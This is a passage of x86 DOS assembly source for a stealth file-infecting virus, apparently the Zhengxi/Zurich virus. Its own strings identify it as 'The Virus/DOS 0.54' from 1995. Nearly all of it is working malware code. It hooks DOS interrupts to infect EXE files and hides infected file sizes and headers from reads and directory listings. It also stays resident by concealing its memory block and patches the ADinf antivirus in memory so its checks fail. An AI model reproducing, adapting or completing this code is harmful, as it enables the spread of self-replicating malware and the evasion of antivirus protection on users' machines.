push word ptr ds:[si-43h*11h+46Eh] ;hi
pop cs:r_hi

push ax
in al, 40h
xor byte ptr cs:r_hi, al
pop ax
pop si ds
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;extrn Calculate_CRC :near
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel RND_GET_BYTE
call RND_GET
mov ah,0
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel RND_GET_THREE_BITS
call RND_GET_BYTE
pushf
and al,00000111b
popf
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;rnd_procs_size = $-begin_rnd_procs
ends
end

INCLUDE ZURICH.ASI
code segment byte public
assume cs:code, ds:code, es:code, ss:code

extrn InfectTurn :byte
extrn r_lo:word
extrn r_hi:word
extrn InfectName :near
extrn get_crc_just_fname:near
extrn heap:near
extrn crypt_exe_header:near
extrn no_freq_proc :near
extrn crypt_exe_header_custom:near
extrn WRITE_EXEHDR :near
extrn TEST_SIZE :near
extrn STEALTHNAME :near
extrn GET_SFT :near
extrn vir_heap :near
extrn InfectHandle :near
extrn start_data :word
extrn get_own_name :near
extrn heap :near
extrn st25 :near
extrn ret_hook :dword
extrn ret_sux :word
extrn continue21 :near
extrn get_cur_time :near
extrn calculate_crc :near
extrn vir_heap :near
extrn Calculate_CRC:near
extrn Calculate_CRC5:near

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄ VIRUS STARTUP ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
org 0
pblabel virus_zero
DB 0cH DUP (opNOP)
dw 0 ;bp-30h : SS
dw 0 ;bp-2eh : SP
dw 0 ;bp-2ch : sum
dw 0Ah+0cH ;bp-2ah : IP
dw 0 ;bp-28h : CS

nop
.EXIT
org VIRUSSTACKSIZE-16h
pblabel begin_stack
st_es dw ? ;-16
st_ds dw ? ;-14
st_di dw ? ;-12
st_si dw ? ;-10
st_bp dw ? ;-E
st_sp dw ? ;-C
st_bx dw ? ;-A
st_dx dw ? ;-8
st_cx dw ? ;-6
st_ax dw ? ;-4
st_fl dw ? ;-2
pblabel end_stack
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel virus_entry

push si
call vs
public _____
_____ db (zmeflARX and 0FFh)
;0-classic EXE
;1-abnormal termination (for carrier)
;2-retf
pblabel relocator
DO
SEGCS lodsb
db opSEGCS, 88h, 44h
shiftval db ? ; mov cs:[si+shiftval], al
CYCLE LU
iret
pblabel vs
pop si
push ax cx di bp
pushf
std
lea ax, _____
sub ax, si
push ax
and ax, 0Fh
add al, 11h ;suxxx*10h+1h ; suxxx=1
mov cs:[si+(offset shiftval)-(offset _____)], al
pop ax
sar ax, 4
dec ax ; sub ax, suxxx
mov bp, sp
mov di, ss:[bp+4+6+2]
cmp byte ptr cs:[di-3], opCALL
DOIF E
add 1 ptr cs:[si+(offset shiftval)-(offset _____)], 060h
sub ax, 06h
dec di
mov byte ptr cs:[di], 0ECh
dec di
mov byte ptr cs:[di], 8Bh
dec di
mov byte ptr cs:[di], 55h
mov ss:[bp+4+6+2], di
push cs
push di
pushf
lea bp, vvvo
DOELSE
lea bp, vvv
DONE
mov cx, cs
sub cx, ax
push cx
push bp
lea si, [si+((offset start_data))-_____]
mov cx, (offset start_data)-VIRUSSTACKSIZE+2
jmp relocator
;-------------
pblabel vvvo
begin_auto:
pop dword ptr cs:[frret]
popf
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel vvv
pop bp di cx ax si

;save vect1
push ds
MOVSEG ds, cs
lea dx, tmp1
mov ax, 2501h
int 21h
pop ds

pushf
call trace_cpm
popf
cmp cs:_____, (zmeflOBJ and 0FFh)
DOIF E
inc sp
inc sp

retobj db 0EAh
public_key:
frret dd ?
DONE

cmp cs:_____, (zmeflIXE and 0FFh)
DOIF E
retf
DONE
cmp cs:_____, (zmeflEXE and 0FFh) ;-?
jnz carrier ;/

mov cs:[vir_heap._after_goto], offset goto_exe
call user_proc
pblabel goto_EXE ;api
;(ss-es-0x17)<<4+sp
;ss=cs-1
;(cs-es-0x18)<<4+sp
mov ax, es
mov si, 10h
add ax, si
push es
push ax ;psp

mov bx, cs
sub ax, bx
neg ax
cwd
mul si
mov si, [save_SP]
sub si, 7Eh
add ax, si
adc dx, 0
push si
call crypt_exe_header_custom
pop si
lea di, [heap]
mov cx, 16h/2
rep movsw
call di
pop ax
pop es
movseg ds, es
add cs:[(heap-2).exe_SS], ax
add cs:[(heap-2).exe_CS], ax
mov ss, cs:[(heap-2).exe_SS]
mov sp, cs:[(heap-2).exe_SP]
jmp dword ptr cs:[(heap-2).exe_IP]
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel carrier
call endmsg
; db 'This program requires Microsoft Windows.'
; db 'The Application Program Interface (API) entered'
; db 'will only work in OS/2 mode.'
db 'Abnormal program termination',CRLF,'$'
;public_key dd ?
db CRLF,'The Virus/DOS 0.54 Copyright (c) 1995 Zhengxi Ltd'
; db CRLF,'Don''t distribute this program!',CRLF
db CRLF,'Warning! This program for internal use only!',CRLF

pblabel endmsg
pop dx
movseg ds, cs
mov ah,9
int 21h
.exit
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;funcs21 equ <00,11,12,31,3D,3E,3F,41,42,48,49,4A,4B,4C,4E,4F,67,6C> ;
funcs21 equ <67,3E,6C,3F,49,00,3D,41,4A,11,4B,31,48,4C,4E,42,12,4F> ;

pblabel functions
% IRP foo, funcs21
db (&foo&h shl 1) xor &foo&h
ENDM
funcnt = $-functions

MROR MACRO w1, shval
dw (w1 shr (shval and 0Fh)) or ((w1 shl (10h-(shval and 0Fh))) and 0FFFFh)
ENDM

MROL MACRO w1, shval
dw ((w1 shl (shval and 0Fh)) and 0FFFFh) or (w1 shr (10h-(shval and 0Fh)))
ENDM

% IRP foo, funcs21
MROR <((bfr_&foo-virus_zero) xor ($+2-virus_zero))>, <(bfr_aft-$)>
MROL <((aft_&foo-virus_zero) - ($+2-virus_zero))>, <(bfr_aft-($-2))>
public bfr_&foo
public aft_&foo
ENDM
bfr_aft = $-4

;-+------------------------------------------------------------------------+-
pblabel user_proc
mov cs:[vir_heap._save_ss], ss
mov cs:[vir_heap._save_sp], sp
movseg ss, cs
lea sp, end_stack
pushf
cli
cld
pushaw
push ds es
lea bp, vir_heap+80H
call [after_goto]
pblabel rt_err
lea sp, begin_stack ;end_stack-20d
pop es ds
popaw
popf
mov ss, cs:[vir_heap._save_ss]
mov sp, cs:[vir_heap._save_sp]
retn
;-+------------------------------------------------------------------------+-
;-+------------------------------------------------------------------------+-
pblabel RANDOMIZE
lea si, begin_auto
mov di, end_auto-begin_auto
mov [si+(public_key-begin_auto).lo], ax
mov [si+(public_key-begin_auto).hi], dx
call Calculate_CRC
mov [r_lo], dx
mov [r_hi], cx
ret
;-+------------------------------------------------------------------------+-

pblabel end_auto

;-+------------------------------------------------------------------------+-

bfr_3E:
call RND_GET
DOIF BE
ret
DONE
jmp InfectHandle
aft_3E: ;ret
jmp InfectName

;-+------------------------------------------------------------------------+-
bfr_41:
pblabel Doctor_Name
mov ax, 3D12h
ifInfJump NameCustom
movseg ds, ss
push ax dx
call restore_header
pop cx dx
call dosseek ;seek
call DosTruncate
call write_exehdr
jmp dosclose
;Doctor_Name endp
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
aft_11:
aft_12:
movseg ds, cs
and al, al
jnz $ret
mov ah, 2fh ; get DTA
call DosCall
mov ax, word ptr es:[bx+24h] ;really not need,
call test_size ;ZF=0 - no infected file ;speed optimization
jnz $ret ;
lea di, StealthName
mov cx, 11d
DO
mov al, es:[bx+8]
inc bx
cmp al, ' '
DOIF NE
mov ds:[di], al
inc di
DONE
cmp cx, 4
DOIF E
mov byte ptr ds:[di], '.'
inc di
DONE
CYCLE LU
mov byte ptr cs:[di], ch ;0
add bx, 0Ch
jmp stlts_find_name
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
bfr_6C:
test dl, 1 ;no open
PASS Z
test bl, 3 ;r/0
DOIF NZ
push dx
mov dx, si
call Doctor_Name
pop dx
MASKA <ds:[st_bx.l]>, xxxxxx10 ;R/W bl
DONE
;-+------------------------------------------------------------------------+-
bfr_49:
aft_42:
aft_00:
aft_4C:
bfr_4f:
bfr_11:
bfr_12:
bfr_def:
@retn:
aft_def:
aft_41:
$ret: ret
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
aft_4E:
aft_4F:
MOVSEG ds, cs
lea di, StealthName-1
DO
inc di
cmp byte ptr [di], 0
CYCLE NZ
DO
dec di
cmp di, offset StealthName-1
EXIT E
cmp byte ptr [di], '\'
CYCLE NE
inc di
mov ah, 2Fh ;get DTA
call DosCall


mov cx, 0Dh ;es:bx+1e -0Dh-> ds:di
DO
push word ptr es:find_buf_pname[bx]
pop ds:[di]
inc di
inc bx
CYCLE LU
TROJANFILETIME = (6 shl 11d) or (6 shl 5) or (6 shr 1)
cmp es:[(bx-0Dh).find_buf_time], TROJANFILETIME
;DOIF E
;int 2bh
;DONE
je added_to_turn

test es:[(bx-0Dh).find_buf_attr], 10h ;directory ?
jnz no_added_to_turn
;

call RND_GET_BYTE
and ax, 0dh
jnz no_added_to_turn
;execut

; lea dx, StealthName
; call get_crc_just_fname
; jz no_added_to_turn
;-+--added to turn-------------------------------------------------------+-
;ds:dx -> InfectTurn
added_to_turn:
lea si, StealthName
lea di, InfectTurn
push es
movseg es, ss
mov cx, 40h
rep movsw
pop es

;int 2bh
; cmp es:[(bx-0Dh).find_buf_time], TROJANFILETIME

; DOIF Z
; call InfectName ;ZFlag
; DONE
pblabel no_added_to_turn
;#

mov ax, es:[(bx-0Dh).find_buf_size_l] ;really not need,
call test_size ;ZF=0 - no infected file ;speed optimization
jnz @retn ;
pblabel stlts_find_name ;extention test ?
lea dx, StealthName
mov si, bx
IfInfJump Name ;R/o mode ?
mov word ptr es:find_buf_size_l[si-0Dh], ax
mov word ptr es:find_buf_size_h[si-0Dh], dx
jmp dosclose
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
bfr_4E:
movseg es, cs
mov si, dx
lea di, StealthName
mov ah, 60h
jmp doscall
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
bfr_3D:
test al, 3
DOIF NZ ;W/O R/W
call Doctor_Name
MASKA <ds:[st_ax.l]>, xxxxxx10 ;R/W al
$?ret:
ret
DONE


;comment #
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄADINFUCKÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

call get_crc_just_fname
cmp_ax_CRC32w <'A', '-', 'D', 'i', 'n'>
jne $?ret
mov si, cs:[save_SP]
mov ax, word ptr ds:[si][4]
add ah, 0Eh
mov ds, ax
xor si, si
DO
mov di, 8
call Calculate_CRC
cmp_ax_CRC32w <74h, 0Ah, 0C4h, 5Eh, 0E2h, 26h, 81h, 0Fh>
lodsw
PASS NE
xor al, ah
DOIF E
mov ax, ds:[si-12] ;=1547 for {386}, =1557 for {86}
add ax, offset adinf386_fuck-1547h
mov byte ptr ds:[si-8], 3Dh ;fuck 3byte
mov byte ptr ds:[si-5], 9Ah
mov word ptr [si-4], ax
mov word ptr [si-2], cs
DO
call Calculate_CRC5
cmp_ax_CRC32w <0Ah, 0Bh, 0C0h, 74h, 3>
DOIF E
xor byte ptr ds:[si-4], 0Bh xor 4 ; or ax,ax
ret
DONE
sub si, 6 ;backward search
CYCLE NZ
DONE
sub si, 9 ;forward search
CYCLE NS ;<8000h
ret
;-+-[ fucking adinf 9.xx and 10.xx ]---------------------------------------+-
;new file size in (ax:dx){86} or eax{386}
;old file size in es:[bx.15h]
;-+------------------------------------------------------------------------+-
MINVIRSIZE equ 6000d
MAXVIRSIZE equ 16000d
adinf386_fuck proc far
push ax ; 1
sub ax, es:[bx+15h] ; 4
les bx, [bp][-001Eh] ; 3
cmp ax, MINVIRSIZE ; 3
ja continue_fuck_1f_386 ; 2
pop ax ; 1
end_fuck_1f_386:
ret ; 1
;-+------------------------------------------------------------------------+-
org adinf386_fuck+10h
;-+------------------------------------------------------------------------+-
adinf_fuck proc far
xchg ax, dx ; 1
call adinf386_fuck ; 3
xchg ax, dx ; 1
ret ; 1
adinf_fuck endp
;-+------------------------------------------------------------------------+-
continue_fuck_1f_386:
cmp ax, MAXVIRSIZE ; 3
pop ax ; 1
jb end_fuck_1f_386 ; 2
or word ptr es:[bx],808h ; 5 ;old command
ret ; 1
adinf386_fuck endp
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
aft_6C:
and cx, cx ;file opened
DOIF Z
aft_3D:
xchg bx, ax
IfInfJump Handle ;patch SFT size
call get_sft
mov byte ptr es:[di.sf_name], 0
mov word ptr es:[di.sf_size.hi], dx
mov word ptr es:[di.sf_size.lo], ax
DONE
ret
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
bfr_3F: ;ret
call get_sft
test byte ptr es:[di.sf_mode], 3
GOIN NZ
cmp word ptr es:[di.sf_position.hi], 0
GOIN NZ
mov ax, word ptr es:[di.sf_position.lo]
mov [beg_pos_lo], ax
cmp ax, 18h
DOIF AE
call noff
DONE
IfInfJump Handle
call save_seek ;if (cx > f_real_size-pos) cx := f_real_size-pos
sub ax, [saved_seek.lo]
sbb dx, [saved_seek.hi]
DOIF Z
MIN <cs:[st_cx]>, ax ;_CX
DONE
ret
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
aft_3F: ;ret
mov word ptr [st_rd_off], dx
mov si, ds ;si:di - buffer
mov cx, 1Ch
sub cx, [beg_pos_lo]
MIN cx, ax ;ax - delta pos
mov word ptr [rd_st_cnt],cx
IfInfJump Handle
;-+------------------------------------------------------------------------+-
call get_sft ;dx:ax - original size,
inc byte ptr es:[di.sf_size.1] ;add 100h
push si
call restore_header
dec byte ptr es:[di.sf_size.1] ;sub 100h
pop es
; DOIF NC
; mov es, si ;es:di
mov cx, [rd_st_cnt]
mov di, [st_rd_off]
lea si, [vir_heap._exehdr]
add si, [beg_pos_lo]
rep movsb
; DONE
ret
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
bfr_42:
cmp al, 2 ;seek_end
DOIF E
call seek_end
call Stealth_Seek ;seek to fake end
dec cs:[st_ax] ; mov ax, 4201h
DONE
retn
;-+------------------------------------------------------------------------+-
pblabel Stealth_Seek ;dx:ax => cx:dx
ifInfJump Handle
mov cx, dx
xchg dx, ax
jmp dosseek
;-+------------------------------------------------------------------------+-

;comment #
;-+------------------------------------------------------------------------+-
bfr_4B: ;show block
; cmp al, 0DBh
; je goto_EXE
mov [load_fname], dx
mov [load_array], bx
push ax
call show_block
pop ax
test al, 1 ;if 4b01(3) need after
DOIF Z
pblabel noff
mov byte ptr cs:retu, opJMPS ;continue21-retu-1
DONE
retn

;-+------------------------------------------------------------------------+-
pblabel selector21
movseg ds, cs
movseg es, cs
mov al, ah
add al, al ;hach
xor al, ah
mov di, 8
mov word ptr ds:[(di-8)+arena_owner], di ;cs
lea di, functions
mov cx, funcnt
repne scasb
jnz noff
lea si, bfr_aft
shl cx, 2
sub si, cx
lodsw
rol ax, cl
xor ax, si
mov [after_goto], ax ;bfr
lodsw
ror ax, cl
add ax, si
mov word ptr [after_dos_goto], ax ;aft
ret

;-+------------------------------------------------------------------------+-
bfr_4A:
bfr_48:
; cmp al, 36h ;for 'Lingvo' compatible
; mov al, 0
; DOIF NE
mov byte ptr cs:[dos_cf], 0 ;al
; DONE

;-+------------------------------------------------------------------------+-
bfr_67:
pblabel show_block
;ret
;int 2bh
call find_mcb
DOIF NE ;si=0
mov cx, ds
sub bx, cx
mov ax, ds:[si.arena_size]
sub ax, bx
mov cs:[si.arena_size], ax
dec bx
mov ds:[si.arena_size], bx
mov al, byte ptr ds:[si.arena_signature]
mov byte ptr ds:[si.arena_signature], 'M'
mov byte ptr cs:[si.arena_signature], al
DONE
ret
;-+------------------------------------------------------------------------+-
aft_4B:
mov dx, [load_fname]
call loadprog
;-+--hide_block------------------------------------------------------------+-
aft_48:
aft_67:
aft_4A:
;ret
;int 2bh
pblabel hide_block
call find_mcb
DOIF E
mov ax, cs:[si.arena_size]
inc ax
add ds:[si.arena_size], ax
mov al, byte ptr cs:[si.arena_signature]
mov byte ptr ds:[si.arena_signature], al
DONE
ret

;CRPROC find_mcb, 227Dh ;return ds
pblabel find_mcb
sub si, si
mov ah, 52h
call DosCall ;es:[bx][2] - root mcb
mov ax, es:[bx][-2]
mov bx, cs
DO
mov ds, ax
add ax, word ptr ds:[si.arena_size]
inc ax
cmp ax, bx
CYCLE B
ret
;endp

;-+------------------------------------------------------------------------+-
pblabel loadprog
ifInfJump Name

; mov si, word ptr [exehdr.exe_CS]
; mov di, word ptr [exehdr.exe_SS]
push word ptr [exehdr.exe_CS]
push word ptr [exehdr.exe_SS]
push es
call restore_header
call dosclose
pop es
pop di si
mov bx, [load_array]
sub si, word ptr [exehdr.exe_CS]
sub di, word ptr [exehdr.exe_SS]
sub word ptr es:Exec1_CS[bx], si
sub word ptr es:Exec1_SS[bx], di
mov si, word ptr [exehdr.exe_IP]
mov di, word ptr [exehdr.exe_SP]
mov word ptr es:Exec1_IP[bx], si
mov word ptr es:Exec1_SP[bx], di
@ret:
ret
;loadprog endp
;-+------------------------------------------------------------------------+-


bfr_4C:
bfr_00:
IF @Cpu AND 1 ;x86
push offset noff
ELSE ;8086
lea ax, noff ;call aft_49
push ax ;jmp noff ;ret
ENDIF
bfr_31:
aft_31:
aft_49:
;ret
;time_test
; call get_cur_time
; sub ax, [last_infect_time]
; cmp ax, INTERVAL_INFECT ;0.5 ¬¨­
; jl @ret
call no_freq_proc

mov cs:arena_owner, 8
mov ax, 1600h ;test for MS win
int 2Fh
cmp ax, 1600h
jne @ret

mov ax, 5802h
call DosCall
push ax
mov bx, 1
mov ax, 5803h
call DosCall
mov ax, 5800h
call DosCall
push ax
mov bl, 82h ;high UMB use
mov ax, 5801h
call DosCall
mov ah, 48h
mov bx, all_memory_size_p-1
call DosCall
DOIF NC
sub di, di
dec ax
mov es, ax
; mov bx, cs
; cmp ax, bx
; DOIF B
; mov es:[di.arena_owner], di
; DOELSE
mov cs:[di.arena_owner], di
lds si, dword ptr cs:offset25
mov word ptr ds:[si+3], es ;

call virus_move
; DONE
DONE
mov ax, 5801h ;restore
pop bx
call DosCall
mov ax, 5803h ;restore
pop bx
jmp DosCall

;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
pblabel save_seek
push ax cx dx
call Dostell ;dx:ax - cur pos
mov [saved_seek.lo], ax
mov [saved_seek.hi], dx
pop dx cx ax
ret
;save_seek endp
;-+------------------------------------------------------------------------+-

pblabel restore_header ;dx:ax - original size
;int 2bh
push ax dx
call save_seek
call crypt_exe_header

pop cx dx
call DosSeek ;seek
lea dx, [heap] ;[exehdr.exe_len_mod_512]
mov cx, 16h
call DosRead
call heap+16h

lea si, [heap]
lea di, [vir_heap._exehdr.exe_len_mod_512]
mov cx, 16h/2
rep movsw

pblabel restore_seek
mov dx, [saved_seek.lo]
mov cx, [saved_seek.hi]
jmp dosseek
;restore_seek endp
;restore_header endp

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

pblabel p1
lds si, dword ptr [save_sp]
lds si, dword ptr ds:[si+2]
mov di, 0ch
push si
call calculate_crc
pop si
cmp_ax_CRC32w <6h, 1Eh, 55h, 57h, 56h, 52h, 51h, 53h, 50h, 8Ch, 0D8h, 2Eh>
JE tunnel_detect
cmp_ax_CRC32w <6h, 1Eh, 55h, 57h, 56h, 52h, 51h, 53h, 50h, 8Bh, 0ECh, 0E8h>
jne __retn
tunnel_detect:
;íâ® ¢ë¯®«­ï¥âáï ⮫쪮 ¯à¨ ¯¥à¢®© ãáâ ­®¢ª¥ ¢¨àãá  ¢ ¯ ¬ïâì

movseg es, ss
mov cx, 11d
lea di, continue21
rep movsb
sto_byte opJMPFAR

  
mov ax, 1600h ;â¥áâ ­  ä®àâ®çª¨
int 2Fh
cmp ax, 1600h
jne __retn
mov ax, 3305h ;if BOOT-drive A: or B:
int 21h
sub dl, 3
jc __retn
push ds ;DS:SI - end of tunnel, (so21+TUNNELSIZE)
;---------------------------------------------------------------
;test for popup program
mov di, 2
mov ds, di
mov ax, word ptr ds:[(08h*4+2)+(di-2*11h)]
cmp ax, word ptr ds:[(13h*4+2)+(di-2*11h)]
PASS NE
cmp ax, word ptr ds:[(28h*4+2)+(di-2*11h)]
DOIF E
no_stay_resident:
pop ds
__retn:
ret
DONE
;---------------------------------------------------------------
mov ah, 2Fh
int 21h ;get DTA
push es bx
movseg ds, cs
lea dx, [vir_heap._exehdr]
mov ah, 1Ah
int 21h ;set DTA
call get_own_name ;ds:dx -curname
mov ah, 4Eh
int 21h ;find first
pop dx ds
mov ah, 1Ah
int 21h ;set DTA
mov ah, 2Ah
int 21h ;get system date
xor dx, [exehdr.find_buf_date]
and dx, 18h ;week only
jz no_stay_resident

mov ah, 51h
int 21h

mov es, bx ;es- current PSP
dec bx
mov ds, bx ;ds- current MCB
mov bx, ds:[arena_size] ;ds- size of current block
sub bh, (all_memory_size_p shr 8)
mov ah, 4Ah
int 21h ; increate current block size
mov ah, 48h
mov bx, all_memory_size_p-1
int 21h ; allocate memory for virus
jc no_stay_resident ;cannot allocate memory for virus
cmp word ptr es:[0], 20CDh
DOIF E
sub byte ptr es:[PDB_block_len+1], (all_memory_size_p shr 8)+1
DONE
dec ax
pop es ;o21
;so21 -> es:di ;si=o21+0Ch
lea di, [si-11d] ;[si-TUNNELSIZE]
xchg dx, ax ;ax - future virii segment
;get so25 (ds:si)
mov si, 8
mov ds, si
lds si, ds:[si][25h*4][-88h]
;so25 -> cs:[offset25]
;int 2bh
mov cs:[offset25.lo], si ;ds:si = so25
mov cs:[offset25.hi], ds ;
;store (2Eh, 0FFh, 1Eh, o21+7, 0C7h, 6, o25, s25) -> [so21]
;write TUNNEL
sto_byte 2Eh
sto_two_byte 0FFh, 1Eh
lea ax, [di-3+5]
mov [hook], ax
inc ax
inc ax
stosw
sto_two_byte 0C7h, 6
sto_word_ si ;o25
sto_word_ ds ;s25
;move5 [so25] -> ss:(cs:)five_bytes
lea di, [vir_heap._five_bytes]
movseg es, ss
movs5
;store (0EAh, memory_virentry, AX) -> [so25]
movseg es, ds ;s25
lea di, [si-5]
sto_byte opJMPFAR
sto_word_ <offset memory_virentry>
xchg dx, ax ;ax - future virii segment
stosw
mov es, ax ;es - future virii segment
;----move virus to new location------------------------------------------+-
;----setup incubator-----------------------------------------------------+-
call get_cur_time
add ax, INCUB_TIME
mov cs:[last_infect_time], ax
pblabel virus_move
mov di, VIRUSSTACKSIZE
mov si, di
lea cx, [heap] ;virus_size
segcs rep movsb
; $BEEP$
no_stay:
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel trace_cpm
mov cx, 1919h
push cs
push sp ;fake
push cx ;for enable trace flag
push 0Ch ; ;PUSH 0 1 b
push 0 ;push 0 ;PUSH C0h b0 10
;pblabel ent24
; mov al, 3
iret ;execute CP/M command
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel tmp1
mov cs:[vir_heap._after_goto], offset p1
call user_proc
iret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel call_real_25
pushf
push es di si
les di, dword ptr cs:[offset25]
lea si, [vir_heap._five_bytes]
cld
SEGCS movsw
SEGCS movsw
SEGCS movsb
pop si di es
popf
mov cs:[vir_heap._abs_read_drive], al
db 09Ah ;call [RealInt25h]
pblabel offset25
dd ?
pushf
push es di ax
les di, dword ptr cs:offset25
cld
